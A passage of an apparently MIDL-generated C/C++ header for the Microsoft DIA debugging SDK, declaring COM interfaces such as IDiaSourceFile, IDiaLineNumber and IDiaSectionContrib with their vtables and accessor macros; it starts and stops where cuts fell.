IDiaSymbol10_get_exportHasExplicitlyAssignedOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportHasExplicitlyAssignedOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol10_get_exportIsForwarder(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exportIsForwarder(This,pRetVal) ) \n\n#define IDiaSymbol10_get_ordinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_ordinal(This,pRetVal) ) \n\n#define IDiaSymbol10_get_frameSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frameSize(This,pRetVal) ) \n\n#define IDiaSymbol10_get_exceptionHandlerAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol10_get_exceptionHandlerAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol10_get_exceptionHandlerRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol10_get_exceptionHandlerVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_exceptionHandlerVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol10_findInputAssemblyFile(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInputAssemblyFile(This,ppResult) ) \n\n#define IDiaSymbol10_get_characteristics(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_characteristics(This,pRetVal) ) \n\n#define IDiaSymbol10_get_coffGroup(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coffGroup(This,pRetVal) ) \n\n#define IDiaSymbol10_get_bindID(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindID(This,pRetVal) ) \n\n#define IDiaSymbol10_get_bindSpace(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSpace(This,pRetVal) ) \n\n#define IDiaSymbol10_get_bindSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bindSlot(This,pRetVal) ) \n\n\n#define IDiaSymbol10_get_isObjCClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCClass(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isObjCCategory(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCCategory(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isObjCProtocol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isObjCProtocol(This,pRetVal) ) \n\n\n#define IDiaSymbol10_get_inlinee(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlinee(This,pRetVal) ) \n\n#define IDiaSymbol10_get_inlineeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlineeId(This,pRetVal) ) \n\n\n#define IDiaSymbol10_get_noexcept(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noexcept(This,pRetVal) ) \n\n\n#define IDiaSymbol10_get_hasAbsoluteAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAbsoluteAddress(This,pRetVal) ) \n\n\n#define IDiaSymbol10_get_isStaticMemberFunc(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStaticMemberFunc(This,pRetVal) ) \n\n\n#define IDiaSymbol10_get_isSignRet(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSignRet(This,pRetVal) ) \n\n\n#define IDiaSymbol10_get_coroutineKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_coroutineKind(This,pRetVal) ) \n\n#define IDiaSymbol10_get_associatedSymbolKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolKind(This,pRetVal) ) \n\n#define IDiaSymbol10_get_associatedSymbolSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolSection(This,pRetVal) ) \n\n#define IDiaSymbol10_get_associatedSymbolOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolOffset(This,pRetVal) ) \n\n#define IDiaSymbol10_get_associatedSymbolRva(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolRva(This,pRetVal) ) \n\n#define IDiaSymbol10_get_associatedSymbolAddr(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_associatedSymbolAddr(This,pRetVal) ) \n\n\n#define IDiaSymbol10_get_framePadSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePadSize(This,pRetVal) ) \n\n#define IDiaSymbol10_get_framePadOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePadOffset(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isRTCs(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRTCs(This,pRetVal) ) \n\n\n#define IDiaSymbol10_get_sourceLink(This,cb,pcb,pb)\t\\\n    ( (This)->lpVtbl -> get_sourceLink(This,cb,pcb,pb) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\nHRESULT STDMETHODCALLTYPE IDiaSymbol10_get_sourceLink_Proxy( \n    IDiaSymbol10 * This,\n    /* [in] */ DWORD cb,\n    /* [out] */ DWORD *pcb,\n    /* [size_is][out] */ BYTE *pb);\n\n\nvoid __RPC_STUB IDiaSymbol10_get_sourceLink_Stub(\n    IRpcStubBuffer *This,\n    IRpcChannelBuffer *_pRpcChannelBuffer,\n    PRPC_MESSAGE _pRpcMessage,\n    DWORD *_pdwStubPhase);\n\n\n\n#endif \t/* __IDiaSymbol10_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSourceFile_INTERFACE_DEFINED__\n#define __IDiaSourceFile_INTERFACE_DEFINED__\n\n/* interface IDiaSourceFile */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSourceFile;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"A2EF5353-F5A8-4eb3-90D2-CB526ACB3CDD\")\n    IDiaSourceFile : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_uniqueId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_fileName( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_checksumType( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compilands( \n            /* [retval][out] */ IDiaEnumSymbols **pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE get_checksum( \n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSourceFileVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSourceFile * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSourceFile * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSourceFile * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uniqueId )( \n            IDiaSourceFile * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_fileName )( \n            IDiaSourceFile * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_checksumType )( \n            IDiaSourceFile * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilands )( \n            IDiaSourceFile * This,\n            /* [retval][out] */ IDiaEnumSymbols **pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_checksum )( \n            IDiaSourceFile * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        END_INTERFACE\n    } IDiaSourceFileVtbl;\n\n    interface IDiaSourceFile\n    {\n        CONST_VTBL struct IDiaSourceFileVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSourceFile_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSourceFile_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSourceFile_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSourceFile_get_uniqueId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uniqueId(This,pRetVal) ) \n\n#define IDiaSourceFile_get_fileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_fileName(This,pRetVal) ) \n\n#define IDiaSourceFile_get_checksumType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_checksumType(This,pRetVal) ) \n\n#define IDiaSourceFile_get_compilands(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilands(This,pRetVal) ) \n\n#define IDiaSourceFile_get_checksum(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_checksum(This,cbData,pcbData,pbData) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaSourceFile_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaInputAssemblyFile_INTERFACE_DEFINED__\n#define __IDiaInputAssemblyFile_INTERFACE_DEFINED__\n\n/* interface IDiaInputAssemblyFile */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaInputAssemblyFile;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"3BFE56B0-390C-4863-9430-1F3D083B7684\")\n    IDiaInputAssemblyFile : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_uniqueId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_index( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_timestamp( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_pdbAvailableAtILMerge( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_fileName( \n            /* [retval][out] */ BSTR *pRetVal) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE get_version( \n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaInputAssemblyFileVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaInputAssemblyFile * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaInputAssemblyFile * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaInputAssemblyFile * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uniqueId )( \n            IDiaInputAssemblyFile * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_index )( \n            IDiaInputAssemblyFile * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_timestamp )( \n            IDiaInputAssemblyFile * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_pdbAvailableAtILMerge )( \n            IDiaInputAssemblyFile * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_fileName )( \n            IDiaInputAssemblyFile * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_version )( \n            IDiaInputAssemblyFile * This,\n            /* [in] */ DWORD cbData,\n            /* [out] */ DWORD *pcbData,\n            /* [size_is][out] */ BYTE *pbData);\n        \n        END_INTERFACE\n    } IDiaInputAssemblyFileVtbl;\n\n    interface IDiaInputAssemblyFile\n    {\n        CONST_VTBL struct IDiaInputAssemblyFileVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaInputAssemblyFile_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaInputAssemblyFile_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaInputAssemblyFile_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaInputAssemblyFile_get_uniqueId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uniqueId(This,pRetVal) ) \n\n#define IDiaInputAssemblyFile_get_index(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_index(This,pRetVal) ) \n\n#define IDiaInputAssemblyFile_get_timestamp(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_timestamp(This,pRetVal) ) \n\n#define IDiaInputAssemblyFile_get_pdbAvailableAtILMerge(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_pdbAvailableAtILMerge(This,pRetVal) ) \n\n#define IDiaInputAssemblyFile_get_fileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_fileName(This,pRetVal) ) \n\n#define IDiaInputAssemblyFile_get_version(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_version(This,cbData,pcbData,pbData) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaInputAssemblyFile_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaLineNumber_INTERFACE_DEFINED__\n#define __IDiaLineNumber_INTERFACE_DEFINED__\n\n/* interface IDiaLineNumber */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaLineNumber;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"B388EB14-BE4D-421d-A8A1-6CF7AB057086\")\n    IDiaLineNumber : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compiland( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sourceFile( \n            /* [retval][out] */ IDiaSourceFile **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lineNumber( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_lineNumberEnd( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_columnNumber( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_columnNumberEnd( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressSection( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressOffset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_length( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_sourceFileId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_statement( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compilandId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaLineNumberVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaLineNumber * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaLineNumber * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaLineNumber * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compiland )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFile )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ IDiaSourceFile **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lineNumber )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_lineNumberEnd )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_columnNumber )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_columnNumberEnd )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sourceFileId )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_statement )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compilandId )( \n            IDiaLineNumber * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        END_INTERFACE\n    } IDiaLineNumberVtbl;\n\n    interface IDiaLineNumber\n    {\n        CONST_VTBL struct IDiaLineNumberVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaLineNumber_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaLineNumber_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaLineNumber_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaLineNumber_get_compiland(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compiland(This,pRetVal) ) \n\n#define IDiaLineNumber_get_sourceFile(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFile(This,pRetVal) ) \n\n#define IDiaLineNumber_get_lineNumber(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lineNumber(This,pRetVal) ) \n\n#define IDiaLineNumber_get_lineNumberEnd(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lineNumberEnd(This,pRetVal) ) \n\n#define IDiaLineNumber_get_columnNumber(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_columnNumber(This,pRetVal) ) \n\n#define IDiaLineNumber_get_columnNumberEnd(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_columnNumberEnd(This,pRetVal) ) \n\n#define IDiaLineNumber_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaLineNumber_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaLineNumber_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaLineNumber_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaLineNumber_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaLineNumber_get_sourceFileId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFileId(This,pRetVal) ) \n\n#define IDiaLineNumber_get_statement(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_statement(This,pRetVal) ) \n\n#define IDiaLineNumber_get_compilandId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilandId(This,pRetVal) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IDiaLineNumber_INTERFACE_DEFINED__ */\n\n\n#ifndef __IDiaSectionContrib_INTERFACE_DEFINED__\n#define __IDiaSectionContrib_INTERFACE_DEFINED__\n\n/* interface IDiaSectionContrib */\n/* [unique][helpstring][local][uuid][object] */ \n\n\nEXTERN_C const IID IID_IDiaSectionContrib;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"0CF4B60E-35B1-4c6c-BDD8-854B9C8E3857\")\n    IDiaSectionContrib : public IUnknown\n    {\n    public:\n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compiland( \n            /* [retval][out] */ IDiaSymbol **pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressSection( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_addressOffset( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relativeVirtualAddress( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_virtualAddress( \n            /* [retval][out] */ ULONGLONG *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_length( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_notPaged( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_code( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_initializedData( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_uninitializedData( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_remove( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_comdat( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_discardable( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_notCached( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_share( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_execute( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_read( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_write( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_dataCrc( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_relocationsCrc( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_compilandId( \n            /* [retval][out] */ DWORD *pRetVal) = 0;\n        \n        virtual /* [id][helpstring][propget] */ HRESULT STDMETHODCALLTYPE get_code16bit( \n            /* [retval][out] */ BOOL *pRetVal) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IDiaSectionContribVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            IDiaSectionContrib * This,\n            /* [in] */ REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            IDiaSectionContrib * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            IDiaSectionContrib * This);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_compiland )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressSection )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_addressOffset )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_relativeVirtualAddress )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualAddress )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_length )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_notPaged )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_code )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_initializedData )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uninitializedData )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_remove )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_comdat )( \n            IDiaSectionContrib * This,\n            /* [retval][out] */ BOOL 